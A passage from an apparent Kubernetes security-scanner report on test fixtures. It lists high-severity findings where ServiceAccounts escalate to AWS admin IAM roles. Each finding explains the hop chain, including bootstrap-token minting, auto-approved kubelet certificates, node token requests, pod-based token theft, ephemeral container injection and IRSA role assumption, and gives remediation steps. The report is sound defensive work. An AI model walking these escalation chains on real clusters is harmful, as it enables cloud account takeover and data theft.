  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 7.0
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/cloud-eks-test/eks-admin-irsa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
3. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/cloud-eks-test/eks-admin-irsa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/cloud-eks-test/eks-admin-irsa.
  4. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 7.0
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/cloud-eks-test/eks-admin-irsa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
3. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/cloud-eks-test/eks-admin-irsa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/cloud-eks-test/eks-admin-irsa.
  4. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 6.9
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (4 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
4. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  6. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 6.8
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
3. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 6.8
ServiceAccount can reach external AWS IAM role
